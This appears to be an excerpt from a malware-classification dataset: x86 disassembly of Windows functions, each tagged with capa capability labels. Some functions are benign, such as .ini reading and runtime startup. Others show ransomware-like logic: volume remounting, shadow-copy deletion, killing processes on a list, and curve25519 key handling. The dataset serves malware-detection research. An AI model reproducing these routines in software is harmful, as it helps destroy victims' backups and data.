joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43b1e0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
mov eax, dword [0x4612a8]
mov edx, dword [ebp + 0x14]
push esi
push edi
mov dword [esp + 0x94], eax
mov esi, ecx
xor eax, eax
mov word [esp + 0x10], 0
mov ecx, 0x1f
lea edi, [esp + 0x12]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, edi
mov dword [ecx], eax
mov dword [ecx + 4], eax
push edx
mov edx, dword [ebp + 0xc]
mov dword [ecx + 8], eax
push 0x40
mov dword [ecx + 0xc], eax
mov ecx, dword [ebp + 0x10]
lea eax, [esp + 0x18]
push eax
push 0x44a19c
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
cmp word [esp + 0x10], 0
je 0x43b2a3
lea ecx, [esp + 0xc]
lea eax, [esp + 0x10]
push ecx
mov ecx, esi
mov dword [esp + 0x10], eax
call fcn.0043b170
lea edx, [esp + 0xc]
push edx
mov ecx, esi
mov dword [edi], eax
call fcn.0043b170
mov dword [edi + 4], eax
lea eax, [esp + 0xc]
push eax
mov ecx, esi
call fcn.0043b170
lea ecx, [esp + 0xc]
push ecx
mov ecx, esi
mov dword [edi + 8], eax
call fcn.0043b170
mov dword [edi + 0xc], eax
mov al, 1
mov ecx, dword [esp + 0x94]
call fcn.004430ed
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10
mov ecx, dword [esp + 0x94]
xor al, al
call fcn.004430ed
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x43b2c0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
mov eax, dword [0x4612a8]
mov edx, dword [ebp + 0x14]
push esi
push edi
mov dword [esp + 0x94], eax
mov esi, ecx
xor eax, eax
mov word [esp + 0x10], 0
mov ecx, 0x1f
lea edi, [esp + 0x12]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
xor eax, eax
mov ecx, edi
mov dword [ecx], eax
push 0x40
mov dword [ecx + 4], eax
mov ecx, dword [ebp + 0x10]
lea eax, [esp + 0x18]
push eax
push 0x44a19c
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
cmp word [esp + 0x10], 0
je 0x43b35f
lea ecx, [esp + 0xc]
lea eax, [esp + 0x10]
push ecx
mov ecx, esi
mov dword [esp + 0x10], eax
call fcn.0043b170
lea edx, [esp + 0xc]
push edx
mov ecx, esi
mov dword [edi], eax
call fcn.0043b170
mov dword [edi + 4], eax
mov al, 1
mov ecx, dword [esp + 0x94]
call fcn.004430ed
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10
mov ecx, dword [esp + 0x94]
xor al, al
call fcn.004430ed
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10
Function at 0x43b380
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x8c
mov eax, dword [0x4612a8]
mov edx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov dword [esp + 0x94], eax
mov esi, ecx
xor eax, eax
mov word [esp + 0x10], 0
mov ecx, 0x1f
lea edi, [esp + 0x12]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [ebp + 0x14]
mov edi, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push 0x40
lea ecx, [esp + 0x18]
push ecx
push 0x44a19c
push edx
push eax
mov dword [edi], 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
cmp word [esp + 0x10], 0
je 0x43b435
lea ecx, [esp + 0x10]
lea edx, [esp + 0xc]
mov dword [esp + 0xc], ecx
push edx
mov ecx, esi
call fcn.0043b170
xor ebx, ebx
mov bh, al
lea eax, [esp + 0xc]
push eax
mov ecx, esi
call fcn.0043b170
mov bl, al
lea ecx, [esp + 0xc]
push ecx
mov ecx, esi
shl ebx, 8
call fcn.0043b170
movzx edx, al
or ebx, edx
mov dword [edi], ebx
mov al, 1
mov ecx, dword [esp + 0x94]
call fcn.004430ed
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov ecx, dword [esp + 0x94]
xor al, al
call fcn.004430ed
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x441f60
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x44824e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4c
push ebx
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call sub.MFC71U.DLL_CWnd::CWnd
xor ebx, ebx
mov dword [esi], 0x4565e0
mov dword [esp + 0x60], ebx
mov dword [esi + 0x94], 0x4565d8
mov dword [esi + 0x98], ebx
mov dword [esi + 0x9c], ebx
mov dword [esi + 0xa0], ebx
mov dword [esi + 0xa4], ebx
push ebx
push ebx
mov eax, 0xffff
push ebx
mov word [esi + 0x56], ax
mov word [esi + 0x58], ax
mov word [esi + 0x5a], ax
push ebx
lea eax, [esi + 0x80]
push eax
mov byte [esi + 0x54], bl
mov dword [esi + 0x90], ebx
call dword [sym.imp.USER32.dll_SetRect]
cmp dword [0x467790], ebx
jne 0x441fed
mov dword [0x467790], esi
lea ecx, [esp + 0x28]
call fcn.00406320
mov byte [esp + 0x60], 2
call sub.MFC71U.DLL_AfxGetModuleShortFileName
mov eax, dword [eax + 8]
push 0x2000
push ebx
push ebx
push ebx
push 0xbb
push eax
call dword [sym.imp.USER32.dll_LoadImageW]
push ebx
lea ecx, [esp + 0x2c]
mov dword [esp + 0x30], eax
call fcn.00403a90
mov ecx, dword [esp + 0x34]
mov eax, 0x55555556
imul ecx
mov eax, dword [esp + 0x38]
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cdq
sub eax, edx
sar eax, 1
mov dword [esi + 0x78], ecx
mov dword [esi + 0x7c], eax
call dword [sym.imp.SkinControl.dll_public:_static_class_CSkinRenderManager____cdecl_CSkinRenderManager::GetInstance_void_]
mov edx, dword [esi + 0x7c]
mov edi, eax
lea eax, [edx + edx - 1]
push eax
push 2
lea ecx, [esp + 0x30]
call fcn.00441a50
push eax
lea ecx, [esp + 0x14]
push ecx
mov ecx, edi
call dword [sym.imp.SkinControl.dll_public:_struct_COLORHSB___thiscall_CSkinRenderManager::RGBToHSB_unsigned_long_int_]
mov ecx, dword [eax]
lea edx, [esi + 0x60]
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov ecx, dword [eax + 0xc]
mov dword [edx + 0xc], ecx
mov ecx, dword [eax + 0x10]
mov dword [edx + 0x10], ecx
mov eax, dword [eax + 0x14]
lea ecx, [esp + 0x28]
mov dword [edx + 0x14], eax
call fcn.00406c40
mov ecx, dword [esp + 0x58]
pop edi
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x58
ret
Function at 0x442eac
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x74
push 0x456738
call fcn.00443468
xor edi, edi
mov dword [ebp - 0x20], edi
push edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call ebx
cmp word [eax], 0x5a4d
jne 0x442eec
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x442eec
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x442f04
cmp eax, 0x20b
je 0x442ef1
mov dword [ebp - 0x1c], edi
jmp 0x442f18
cmp dword [ecx + 0x84], 0xe
jbe 0x442eec
xor eax, eax
cmp dword [ecx + 0xf8], edi
jmp 0x442f12
cmp dword [ecx + 0x74], 0xe
jbe 0x442eec
xor eax, eax
cmp dword [ecx + 0xe8], edi
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], edi
push 2
call dword [sym.imp.MSVCR71.dll___set_app_type]
pop ecx
or dword [0x467820], 0xffffffff
or dword [0x467824], 0xffffffff
call dword [sym.imp.MSVCR71.dll___p__fmode]
mov ecx, dword [0x4677a8]
mov dword [eax], ecx
call dword [sym.imp.MSVCR71.dll___p__commode]
mov ecx, dword [0x4677a4]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCR71.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x46781c], eax
call fcn.004434c0
call fcn.00443560
cmp dword [0x4612d0], edi
jne 0x442f78
push fcn.00443560
call dword [sym.imp.MSVCR71.dll___setusermatherr]
pop ecx
call fcn.0044354e
push 0x461088
push 0x461084
call sub.MSVCR71.dll__initterm
push 0x443504
call fcn.0044313c
mov eax, dword [0x4677a0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x46779c]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.MSVCR71.dll___wgetmainargs]
add esp, 0x20
mov dword [ebp - 0x3c], eax
cmp eax, edi
jge 0x442fcc
push 8
call sub.MSVCR71.dll__amsg_exit
pop ecx
push 0x461080
push section..data
call sub.MSVCR71.dll__initterm
pop ecx
pop ecx
mov eax, dword [sym.imp.MSVCR71.dll__wcmdln]
mov esi, dword [eax]
cmp esi, edi
jne 0x442ff6
or dword [ebp - 4], 0xffffffff
mov eax, 0xff
jmp 0x4430b0
mov dword [ebp - 0x24], esi
mov ax, word [esi]
cmp ax, 0x20
ja 0x443065
cmp ax, di
je 0x44300c
cmp dword [ebp - 0x20], edi
jne 0x443065
mov ax, word [esi]
cmp ax, di
je 0x443021
cmp ax, 0x20
ja 0x443021
inc esi
inc esi
mov dword [ebp - 0x24], esi
jmp 0x44300c
mov dword [ebp - 0x58], edi
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
test byte [ebp - 0x58], 1
je 0x44303d
movzx eax, word [ebp - 0x54]
jmp 0x443040
push 0xa
pop eax
push eax
push esi
push edi
push edi
call ebx
push eax
call fcn.004437b6
mov esi, eax
mov dword [ebp - 0x40], esi
cmp dword [ebp - 0x1c], edi
jne 0x44305d
push esi
call dword [sym.imp.MSVCR71.dll_exit]
call dword [sym.imp.MSVCR71.dll__cexit]
jmp 0x4430aa
cmp ax, 0x22
jne 0x443076
xor eax, eax
cmp dword [ebp - 0x20], edi
sete al
mov dword [ebp - 0x20], eax
inc esi
inc esi
jmp 0x442ff6
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.004434a3
ret

Function at 0x4240f4
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x4240fa
ret
Function at 0x4014a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
test eax, eax
je 0x401508
cmp byte [esi + eax - 1], 0xa
mov ebx, eax
je 0x401500
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x404084], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp], esi
mov dword [esp + 0xc], eax
mov eax, 1
mov dword [esp + 4], eax
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0x10
pop ebx
pop esi
pop ebp
ret
xor eax, eax
jmp 0x4014ca
add esp, 0x10
xor eax, eax
pop ebx
pop esi
pop ebp
ret
Function at 0x401b80
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xe0
mov ebx, dword [ebp + 0xc]
mov dword [esp], ebx
call sym.___wine_dbg_get_channel_flags
movzx ecx, byte [ebp + 8]
movzx eax, al
sar eax, cl
test al, 1
je 0x401d68
mov edx, dword [0x404084]
mov eax, dword fs:[0x18]
cmp dword [eax + 0x24], edx
je 0x401d58
test byte [0x402018], 8
jne 0x401d00
lea edi, [ebp - 0xd4]
mov esi, edi
test byte [0x402028], 8
jne 0x401cc0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
mov ecx, str._04x:
mov dword [esp + 4], ecx
mov dword [esp], esi
mov dword [esp + 8], eax
call sym._sprintf
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x401c0a
cmp dword [ebp + 8], 3
jbe 0x401c78
mov dword [esp], 2
mov ebx, edi
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov esi, dword [ebx]
add ebx, 4
lea ecx, [esi - 0x1010101]
not esi
and ecx, esi
and ecx, 0x80808080
je 0x401c19
mov dword [esp + 0xc], eax
mov esi, ecx
mov eax, 1
mov dword [esp + 4], eax
shr esi, 0x10
test ecx, 0x8080
mov dword [esp], edi
cmove ecx, esi
lea esi, [ebx + 2]
mov dl, cl
cmove ebx, esi
add dl, cl
sbb ebx, 3
sub ebx, edi
mov dword [esp + 8], ebx
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0xe0
pop ebx
pop esi
pop edi
pop ebp
ret
mov edx, dword [ebp + 0x10]
add eax, esi
inc ebx
mov dword [esp + 0x10], ebx
mov dword [esp], eax
mov dword [esp + 0x14], edx
mov edx, dword [ebp + 8]
mov ecx, dword [edx*4 + 0x4030e4]
mov edx, str._s:_s:_s
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov ecx, edi
sub ecx, eax
add ecx, 0xc8
mov dword [esp + 4], ecx
call sym._snprintf.constprop.0
jmp 0x401c0a
mov dword [esp], 0x402028
call sym.___wine_dbg_get_channel_flags
and al, 8
je 0x401bdf
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x20]
mov ecx, str._04x:
mov dword [esp], esi
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call sym._sprintf
add esi, eax
jmp 0x401bdf
mov dword [esp], 0x402018
call sym.___wine_dbg_get_channel_flags
and al, 8
je 0x401bca
call dword [sym.imp.kernel32.dll_GetTickCount]
mov edx, 0x10624dd3
mov esi, str._3u._03u:
mov dword [esp + 4], esi
lea edi, [ebp - 0xd4]
mov dword [esp], edi
mov ecx, eax
mul edx
shr edx, 6
mov dword [esp + 8], edx
imul eax, edx, 0x3e8
sub ecx, eax
mov dword [esp + 0xc], ecx
call sym._sprintf
lea esi, [edi + eax]
jmp 0x401bd2
add esp, 0xe0
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, 0xffffffff
jmp 0x401c67

Function at 0x401df0
Capabilities:
Get process heap flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov dword [esp], 1
call sym.__configure_wide_argv
call sym.__initialize_wide_environment
call sym.___p___argc
mov esi, dword [eax]
call sym.___p___wargv
mov edi, dword [eax]
call sym.__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete dl
movzx edx, dl
inc edx
mov dword [esp], edx
call sym.__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call sym._wmain
mov dword [esp], eax
call sym._exit
nop
nop
nop
nop
nop
Function at 0x4044b0
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov dword [ebp - 0x84], 0x401590
mov dword [ebp - 0x80], 0x401598
mov dword [ebp - 0x7c], 0x4015a0
mov dword [ebp - 0x78], 0x4015a8
mov dword [ebp - 0x74], 0x4015b0
mov dword [ebp - 0x70], 0x4015b8
mov dword [ebp - 0x6c], 0x4015c0
mov dword [ebp - 0x68], 0x4015c8
mov dword [ebp - 0x64], 0x4015d0
mov dword [ebp - 0x60], 0x4015d8
mov dword [ebp - 0x5c], 0x4015e0
mov dword [ebp - 0x58], 0x4015e8
mov dword [ebp - 0x54], 0x4015f0
mov dword [ebp - 0x50], 0x4015f8
mov dword [ebp - 0x4c], 0x401600
mov dword [ebp - 0x48], 0x401608
mov dword [ebp - 0x44], 0x401610
mov dword [ebp - 0x40], 0x401618
mov dword [ebp - 0x3c], 0x401620
mov dword [ebp - 0x38], 0x401628
mov dword [ebp - 0x34], 0x401630
mov dword [ebp - 0x30], 0x401638
mov dword [ebp - 0x2c], 0x401640
mov dword [ebp - 0x28], 0x401648
mov dword [ebp - 0x24], 0x401650
mov dword [ebp - 0x20], 0x401658
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0x78
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xc], 0
jmp 0x404599
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x1a
jge 0x4045d4
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + ecx*4 - 0x84]
push edx
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeW]
cmp eax, 1
jne 0x4045d2
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + ecx*4 - 0x84]
mov dword [ebp + eax*4 - 0xec], edx
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
jmp 0x404590
push 0x10000
call fcn.00412e00
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4046ac
push 0x10000
call fcn.00412e00
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4046a0
push 0x8000
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.DLL_FindFirstVolumeW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 4], 0
jbe 0x404671
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x2f4]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.DLL_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x404651
lea eax, [ebp - 0x2f4]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
cmp eax, 3
jne 0x404651
jmp 0x404673
mov ecx, dword [ebp - 4]
sub ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + eax*4 - 0xec]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetVolumeMountPointW]
jmp 0x404673
jmp 0x40468a
push 0x8000
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_FindNextVolumeW]
test eax, eax
jne 0x40461a
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.DLL_FindVolumeClose]
mov edx, dword [ebp - 0x14]
push edx
call fcn.00412e30
add esp, 4
mov eax, dword [ebp - 8]
push eax
call fcn.00412e30
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x4046b0
Capabilities:
Create process on windows
Delete volume shadow copies

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 8], 0
call fcn.00404ab0
test eax, eax
je 0x4046f3
push 0x401680
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov dword [ebp - 0x10], eax
push 0x401690
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4046f3
lea ecx, [ebp - 8]
push ecx
call dword [ebp - 4]
push 0
push 0
push 0x4016b0
push 0x401708
push 0x401718
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.00404ab0
test eax, eax
je 0x404744
push 0x401724
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov dword [ebp - 0x14], eax
push 0x401734
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x404744
mov eax, dword [ebp - 8]
push eax
call dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x404990
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push 0
push 0xf
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x23c], 0x22c
lea eax, [ebp - 0x23c]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call sub.KERNEL32.DLL_Process32FirstW
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x404a4c
mov dword [ebp - 4], 0
jmp 0x4049de
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0x1f
jae 0x404a34
lea eax, [ebp - 0x218]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx*4 + 0x4140b0]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcmpW]
test eax, eax
jne 0x404a32
mov eax, dword [ebp - 0x234]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x404a30
push 9
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x404a34
jmp 0x4049d5
lea eax, [ebp - 0x23c]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call sub.KERNEL32.DLL_Process32NextW
mov dword [ebp - 0x10], eax
jmp 0x4049c2
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x404a60
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
push 0xf0000000
push 0x18
push 0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x404aa4
push 0xf0000008
push 0x18
push 0
push 0
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x404aa4
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x404cb0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x4141e4
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov eax, dword [ebp + 0x10]
push eax
push 0x401754
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [0x4141e0]
push edx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push 0
lea eax, [ebp - 4]
push eax
push 0xe
push 0x401758
mov ecx, dword [0x4141e0]
push ecx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push 0
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [0x4141e0]
push edx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push 0
lea eax, [ebp - 4]
push eax
push 4
push 0x401768
mov ecx, dword [0x4141e0]
push ecx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [0x4141e0]
push edx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push 0
lea eax, [ebp - 4]
push eax
push 2
push 0x401770
mov ecx, dword [0x4141e0]
push ecx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push 0x4141e4
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
mov esp, ebp
pop ebp
ret

Function at 0x404e00
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x16c
mov dword [ebp - 4], 0
jmp 0x404e1b
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x20
jge 0x404e32
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 4]
mov edx, dword [ebp - 4]
mov al, byte [ecx]
mov byte [ebp + edx - 0x24], al
jmp 0x404e12
mov ecx, 1
imul edx, ecx, 0
movzx eax, byte [ebp + edx - 0x24]
and eax, 0xf8
mov ecx, 1
imul edx, ecx, 0
mov byte [ebp + edx - 0x24], al
mov eax, 1
imul ecx, eax, 0x1f
movzx edx, byte [ebp + ecx - 0x24]
and edx, 0x7f
mov eax, 1
imul ecx, eax, 0x1f
mov byte [ebp + ecx - 0x24], dl
mov edx, 1
imul eax, edx, 0x1f
movzx ecx, byte [ebp + eax - 0x24]
or ecx, 0x40
mov edx, 1
imul eax, edx, 0x1f
mov byte [ebp + eax - 0x24], cl
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 0xcc]
push edx
call fcn.00407b90
add esp, 8
lea eax, [ebp - 0xcc]
push eax
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp - 0x7c]
push edx
lea eax, [ebp - 0x16c]
push eax
call fcn.00408f40
add esp, 0x10
lea ecx, [ebp - 0x7c]
push ecx
lea edx, [ebp - 0x11c]
push edx
call fcn.00409270
add esp, 8
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x16c]
push ecx
lea edx, [ebp - 0x7c]
push edx
call fcn.00406de0
add esp, 0xc
lea eax, [ebp - 0x7c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00408170
add esp, 8
xor eax, eax
mov esp, ebp
pop ebp
ret